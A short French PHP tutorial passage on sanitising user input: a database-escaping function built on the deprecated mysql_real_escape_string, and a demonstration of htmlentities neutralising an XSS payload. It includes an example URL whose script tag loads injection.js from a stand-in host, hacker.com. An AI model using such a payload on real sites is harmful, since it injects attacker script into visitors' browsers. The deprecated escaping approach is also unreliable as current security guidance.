function securite_bdd($string){   
// On regarde si le type de string est un nombre entier (int)  
  if(ctype_digit($string))   {   
    $string = intval($string);   }   // Pour tous les autres types  
  else {
    $string = mysql_real_escape_string($string);    
     $string = addcslashes($string, '%_');   }    
  return $string; 
}

Exemple:

http://www.monsite.com?monpseudo=<strong>Justine</strong><script src= »http://hacker.com/injection.js » >

<?php echo "Salut ".htmlentities($_GET['monpseudo']); ?>

En gros, cette fonction va remplacer < par &lt; ou > par &gt; à l’affichage, rendant caduque toute tentative malveillante d’injection HTML (ou javascript).

A l’affichage , dans l’exemple précédent, on affichera :

Salut &lt;strong&gt;Justine&lt;strong&gt;&lt;script src=&quot;http://hacker.com/injection.js&quot; &gt;

htmlspecialchars() est l’équivalent de htmlentities() mais il est conseillé d’utiliser cette dernière.

Si l’on veut plutôt supprimer les balises HTML susceptibles d’être ajoutées par l’utilisateur on utilise la fonction strip_tags